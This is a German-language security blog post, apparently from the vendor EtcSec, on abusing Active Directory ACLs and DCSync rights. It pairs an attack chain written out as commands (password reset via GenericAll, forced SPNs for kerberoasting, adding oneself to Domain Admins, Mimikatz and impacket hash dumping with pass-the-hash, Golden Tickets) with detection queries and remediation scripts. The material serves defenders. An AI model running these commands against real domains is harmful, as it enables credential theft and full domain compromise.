ACL-Missbrauch und DCSync: Wie stille Rechte Domain Admin öffnen

Was ist ACL-Missbrauch und DCSync in Active Directory?

ACL-Missbrauch und DCSync nutzen legitime Active-Directory-Berechtigungen aus, die zu großzügig vergeben wurden. Active-Directory-Objekte – Benutzer, Gruppen, Computer, OUs und GPOs – verfügen alle über Access Control Lists (ACLs), die festlegen, wer sie lesen, ändern oder kontrollieren darf. Wenn diese ACLs falsch konfiguriert sind, entstehen stille Rechteausweitungspfade, die klassische Sicherheitsgrenzen umgehen.

Die beiden kritischsten ACL-Muster sind umfassende Objektkontrolle wie GenericAll und Replikationsrechte auf dem Domain Naming Context, die es einem Angreifer erlauben, sich als Replikationsclient auszugeben. Beide können von Konten gehalten werden, die dafür keinen geschäftlichen Grund haben, und beide können direkt zur Kompromittierung der Domäne führen.

Im Gegensatz zu einem Software-Exploit hängt ACL-Missbrauch nicht von einer CVE oder einem fehlenden Patch ab. Der Angreifer missbraucht Zugriffsrechte, die AD ohnehin gewährt. Genau deshalb sind diese Pfade gefährlich: Sie werden in einem auf Schwachstellen fokussierten Sicherheitsprogramm leicht übersehen und überstehen Patch-Zyklen oft unangetastet.

So funktioniert es

Jedes AD-Objekt besitzt einen Security Descriptor mit einer Discretionary ACL (DACL). Jeder Eintrag in der DACL ist ein Access Control Entry (ACE), der einem Sicherheitsprinzipal bestimmte Rechte gewährt oder verweigert.

Häufige gefährliche ACE-Typen

Der DCSync-Angriff

DCSync missbraucht das legitime AD-Replikationsprotokoll statt Codeausführung auf einem Domänencontroller. Domänencontroller replizieren Daten über den Verzeichnisreplikationsdienst, und dieselben Control-Access-Rechte können an andere Sicherheitsprinzipale auf dem Domain Naming Context Root delegiert werden.

In der Praxis sind folgende Rechte am wichtigsten:

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All
• in manchen Umgebungen DS-Replication-Get-Changes-In-Filtered-Set

Microsoft dokumentiert DS-Replication-Get-Changes-All als das erweiterte Recht, das die Replikation geheimer Domänendaten erlaubt. Microsoft dokumentiert außerdem, dass beschreibbare Domänenreplikate DS-Replication-Get-Changes, DS-Replication-Get-Changes-All und DS-Replication-Get-Changes-In-Filtered-Set auf dem Domain-NC-Root benötigen. Deshalb sollte eine ernsthafte Überprüfung der DCSync-Exposition den vollständigen Satz an Replikationsrechten prüfen, nicht nur eine GUID.

DCSync erfordert keine interaktive Anmeldung an einem DC und keine Codeausführung auf dem DC selbst. Es kann wie legitimer Replikationsverkehr aussehen, wenn der Verzeichniszugriff nicht sorgfältig überwacht wird. Grundsätzlich spurlos ist es jedoch nicht: Mit der richtigen Überwachungsrichtlinie und passenden SACLs können Domänencontroller 4662-Ereignisse für den Zugriff protokollieren, und replikationsbezogene Überwachungsunterkategorien liefern bei der Fehlersuche zusätzlichen Kontext.

Die Angriffskette

Schritt 1 – Gefährliche ACLs enumerieren

# BloodHound - AD-Daten sammeln und den vollständigen ACL-Graphen abbilden
bloodhound-ce-python -u [email protected] -p password \
  -ns 10.10.0.1 -d corp.local -c All --zip

# In BloodHound: "Find Principals with DCSync Rights" ausführen
# Und: "Shortest Paths to Domain Admins from Owned Principals"

# Manuell: Konten mit Replikationsrechten auf dem Domain-Root finden
$dcsyncRights = @(
  "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
  "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes-All
  "89e95b76-444d-4c62-991a-0facbeda640c"   # DS-Replication-Get-Changes-In-Filtered-Set
)

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"
$acl.Access | Where-Object {
  $_.ObjectType -in $dcsyncRights -and
  $_.AccessControlType -eq "Allow" -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE DOMAIN CONTROLLERS|Read-only Domain Controllers"
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

Schritt 2 – GenericAll auf einen Benutzer ausnutzen

# Passwort des Ziel-Admin-Kontos mittels GenericAll zurücksetzen
$secPwd = ConvertTo-SecureString "NeuesP@ss1234!" -AsPlainText -Force
Set-ADAccountPassword -Identity "zieladmin" -Reset -NewPassword $secPwd

# Oder einen kerberoastbaren SPN auf das Ziel erzwingen (GenericWrite)
Set-ADUser -Identity "zieladmin" `
  -ServicePrincipalNames @{Add="http/fakeservice"}
# Jetzt das Konto kerberoasten und den Hash offline knacken

Schritt 3 – GenericAll auf eine Gruppe ausnutzen

# Sich selbst mittels GenericAll auf die Gruppe zu Domain Admins hinzufügen
Add-ADGroupMember -Identity "Domain Admins" -Members "angreifer"

Schritt 4 – DCSync ausführen

# Mimikatz DCSync - alle Hashes dumpen
lsadump::dcsync /domain:corp.local /all /csv
lsadump::dcsync /domain:corp.local /user:krbtgt

# Impacket von Linux aus - keine Codeausführung auf dem DC erforderlich
impacket-secretsdump -just-dc corp.local/compromised_user:[email protected]

# Pass-the-Hash, falls das Passwort unbekannt ist
impacket-secretsdump -hashes "aad3b435b51404ee:NTLM_HASH" \
  corp.local/[email protected] -just-dc-user krbtgt

Schritt 5 – Golden Ticket und Persistenz

Mit dem KRBTGT-Hash aus DCSync fälscht der Angreifer ein Golden Ticket – das unbegrenzten Kerberos-Zugriff auf jede Ressource der Domäne gewährt, bis KRBTGT zweimal rotiert wurde.

Erkennung

Windows-Ereignis-IDs

SIEM-Erkennungsabfragen (Elastic KQL)

DCSync-Erkennung – Konto übt Replikationsrechte auf einem DC aus:

event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*" OR "*89e95b76*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*" OR "AAD_*") AND
NOT winlog.event_data.SubjectDomainName: "NT AUTHORITY"

Unerwartete Änderung der Mitgliedschaft in einer privilegierten Gruppe:

event.code: ("4728" OR "4732" OR "4756") AND
winlog.event_data.TargetUserName: (
  "Domain Admins" OR "Enterprise Admins" OR "Schema Admins" OR "Backup Operators"
) AND
NOT winlog.event_data.SubjectUserName: ("*admin*" OR "SYSTEM")

Remediation

1. DCSync-Rechte entfernen

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$replicationGuids = @(
  [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"89e95b76-444d-4c62-991a-0facbeda640c"
)

$acesToRemove = $acl.Access | Where-Object {
  $_.ObjectType -in $replicationGuids -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE|Read-only Domain Controllers"
}

foreach ($ace in $acesToRemove) {
  $acl.RemoveAccessRule($ace)
  Write-Host "Removed replication right from: $($ace.IdentityReference)"
}
Set-Acl "AD:\$domainDN" $acl

2. AdminSDHolder härten

Das AdminSDHolder-Objekt liefert die Vorlagenberechtigungen für geschützte Gruppen und Konten, und der SDProp-Prozess auf dem PDC-Emulator vergleicht diese Berechtigungen standardmäßig alle 60 Minuten und wendet sie erneut an:

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
(Get-Acl "AD:\$adminSDHolderDN").Access |
  Where-Object { $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM" } |
  Format-Table IdentityReference, ActiveDirectoryRights
# Alle gefundenen unerwarteten Einträge entfernen

3. ACLs kritischer Objekte prüfen

$criticalObjects = @(
  (Get-ADDomain).DistinguishedName,
  "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)",
  (Get-ADGroup "Domain Admins").DistinguishedName
)

foreach ($obj in $criticalObjects) {
  $acl = Get-Acl "AD:\$obj"
  $dangerous = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|WriteDACL|WriteOwner|GenericWrite" -and
    $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|NT AUTHORITY"
  }
  if ($dangerous) {
    Write-Warning "DANGEROUS ACE on $obj"
    $dangerous | Format-Table IdentityReference, ActiveDirectoryRights
  }
}

4. Erforderliche Überwachungsrichtlinie aktivieren

# Erforderlich für die Sichtbarkeit von Ereignis 4662, wenn passende SACLs vorhanden sind
auditpol /set /subcategory:"Directory Service Access" /success:enable

# Nützlich zur Nachverfolgung von Änderungen an Verzeichnisobjekten wie AdminSDHolder
auditpol /set /subcategory:"Directory Service Changes" /success:enable

Wie EtcSec das erkennt

EtcSec kartiert den vollständigen ACL-Graphen Ihrer Active-Directory-Umgebung und identifiziert automatisch gefährliche Berechtigungspfade.

DCSYNC_CAPABLE identifiziert jedes Nicht-DC-Konto, das Replikationsrechte auf dem Domain-Root besitzt, mit besonderem Fokus auf Prinzipale, die geheime Domänendaten anfordern können.

ACL_GENERICALL markiert Konten mit GenericAll-Berechtigungen auf hochwertigen Zielen – Benutzern, Gruppen, Computern und OUs in der Nähe des Tier-0-Administrationszugriffs.

PATH_ACL_TO_DA identifiziert mehrstufige ACL-Ketten, über die ein niedrig privilegiertes Konto durch eine Abfolge von ACE-Missbräuchen Domain Admin erreichen kann – Pfade, die ohne Graphenanalyse unsichtbar bleiben.

Häufig gestellte Fragen

Wie entdecken Angreifer ACL-Fehlkonfigurationen? BloodHound ist das gängigste Graphenanalyse-Tool für dieses Problem – es sammelt AD-Daten, kartiert Objektbeziehungen und hebt die kürzesten Rechteausweitungspfade hervor. Verteidiger sollten denselben Ansatz nutzen, bevor Angreifer es tun.

Was ist der Unterschied zwischen DCSync und der Kompromittierung eines Domänencontrollers? DCSync missbraucht die legitimen Replikationsschnittstellen aus der Ferne. Der Angreifer benötigt keine interaktive Codeausführung auf dem DC, sofern das Konto bereits über die erforderlichen Control-Access-Rechte auf dem Domain Naming Context verfügt.

Wie erhalten Konten versehentlich DCSync-Rechte? Die häufigsten Quellen sind Tools zur Verzeichnissynchronisation, veraltete Identitätsintegrationen, Backup- oder Migrationsprojekte sowie delegierte ACL-Änderungen, die nie erneut überprüft wurden. Manche dieser Konten sind legitim; das Problem entsteht, wenn das Recht zu breit oder undokumentiert bleibt oder weiter vererbt wird als beabsichtigt.

Validierungsprioritäten

ACL-Missbrauch sollte in derselben Reihenfolge überprüft werden, in der ihn ein Angreifer ausnutzen würde: der Domain-Root, AdminSDHolder, privilegierte Gruppen, hochwertige Servicekonten und jede OU, die Tier-0-Systeme beeinflusst. Prüfen Sie nicht nur direkte GenericAll- und Replikationsrechte, sondern auch WriteDACL, WriteOwner, vererbte ACEs und verschachtelte Gruppenmitgliedschaften, die dasselbe Privileg über einen anderen Pfad still wiederherstellen. Eine Remediation ist erst vollständig, wenn die sichtbare Berechtigung, die Vererbungskette und das Delegationsmodell, das sie wieder eingeführt hat, gemeinsam geschlossen sind.

Nachbarpfade, die das Risiko am Leben halten

In ausgereiften Domänen existieren übermäßig freizügige ACLs selten allein. Sie stehen meist neben AD-Angriffspfade: Wie Fehlkonfigurationen bis Domain Admin führen, schwachem Gruppendesign, beschreibbaren GPO-Pfaden oder Delegationseinstellungen, die es einer niedrig privilegierten Identität erlauben, administrativen Zugriff über ein anderes Objekt zurückzuerlangen. Deshalb sollte die ACL-Bereinigung eine Graphenüberprüfung umfassen, nicht nur einen Berechtigungsabgleich am ersten markierten Objekt. Entfernt Ihr Team eine ACE, lässt aber eine verschachtelte Gruppe, eine delegierte OU oder eine vererbte übergeordnete ACL unangetastet, überlebt der praktische Pfad zu DCSync oft trotzdem. Prüfen Sie die umliegende Exposition mit AD Gruppenverschachtelung: Versteckte DA-Pfade, AD-Trust-Angriffe: Wie Unterdomänen das Gesamtstruktur-Risiko erhöhen, Kerberos-Delegation: unkontrolliert bis RBCD und GPO-Fehlkonfigurationen als Angriffsvektor.

Verwandte Beiträge

• AD-Angriffspfade: Wie Fehlkonfigurationen bis Domain Admin führen
• AD Gruppenverschachtelung: Versteckte DA-Pfade
• AD-Trust-Angriffe: Wie Unterdomänen das Gesamtstruktur-Risiko erhöhen
• Kerberos-Delegation: unkontrolliert bis RBCD
• GPO-Fehlkonfigurationen als Angriffsvektor

Zu sichernde Nachweise vor der Remediation

Bevor Sie eine Berechtigung entfernen, sichern Sie die vollständige Beweiskette, die zeigt, wie der Pfad funktioniert. Exportieren Sie die aktuellen ACEs, dokumentieren Sie, ob die Rechte vererbt oder direkt vergeben sind, identifizieren Sie die Gruppenverschachtelung, die das Privileg gewährt, und kartieren Sie, welche Tier-0-Systeme oder -Identitäten erreichbar werden, sobald die Berechtigung missbraucht wird. Halten Sie speziell für DCSync fest, ob das Konto Replicating Directory Changes, Replicating Directory Changes All oder Replicating Directory Changes In Filtered Set besitzt und ob diese Rechte aus einer delegierten Gruppe stammen, die Administratoren später zu überprüfen vergessen könnten. Sammeln Sie bei umfassendem ACL-Missbrauch auch die Berechtigungen der übergeordneten OU und Container, denn viele gefährliche ACEs kehren nach der Bereinigung zurück, wenn die Vererbung den Pfad weiter oben im Baum weiterhin gewährt.

Remediationsreihenfolge, die den Pfad wirklich schließt

Die wirksamste Remediationsreihenfolge beginnt damit, die Privilegienbrücke zu entfernen, statt das sichtbare Symptom isoliert zu bereinigen. Erreicht eine niedrig privilegierte Gruppe Domain Admin aufgrund einer verschachtelten Gruppe, einer vererbten ACL und einer delegierten OU-Kontrolle, schließen Sie alle drei Elemente im selben Änderungsfenster. Überprüfen Sie erneut AdminSDHolder, geschützte Gruppen und die Delegation von Servicekonten, damit derselbe Akteur die Kontrolle nicht durch einen Wechsel zu einem nahegelegenen Objekt zurückerlangen kann. Validieren Sie nach der ACL-Änderung mit Graphenanalyse oder erneuter Enumeration, dass der Pfad aus Angreiferperspektive verschwunden ist – nicht nur aus der Administratorsicht in einem einzelnen Objekt-Picker. Protokollieren Sie schließlich den Grund für die Delegationsänderung und den Owner des neuen Zustands, denn undokumentierte Ausnahmen sind der Grund, warum diese Rechte nach der nächsten Migration, Übernahme oder Fehlerbehebungsanfrage still zurückkehren.

Prüfliste nach der ACL-Bereinigung

Sobald die Berechtigungsänderung ausgerollt ist, führen Sie dieselbe Enumeration oder BloodHound-Pfadanalyse erneut aus, die das Problem ursprünglich nachgewiesen hat. Bestätigen Sie, dass die gefährliche ACE verschwunden ist, dass die gewährende Gruppe das Recht nicht mehr über Verschachtelung vermittelt und dass kein vererbtes übergeordnetes Objekt dasselbe Privileg beim nächsten Refresh neu erzeugt. Testen Sie bei DCSync-Befunden, dass die Identität die betreffenden Replikationsrechte über den gesamten relevanten Satz tatsächlich verloren hat, nicht nur für eine einzelne GUID. Eine kurze Validierung nach der Änderung verhindert den klassischen Fehlerfall, bei dem Administratoren die sichtbare ACE entfernen, Erfolg verkünden und später feststellen, dass ein benachbarter Delegationspfad die Missbrauchskette am Leben erhalten hat.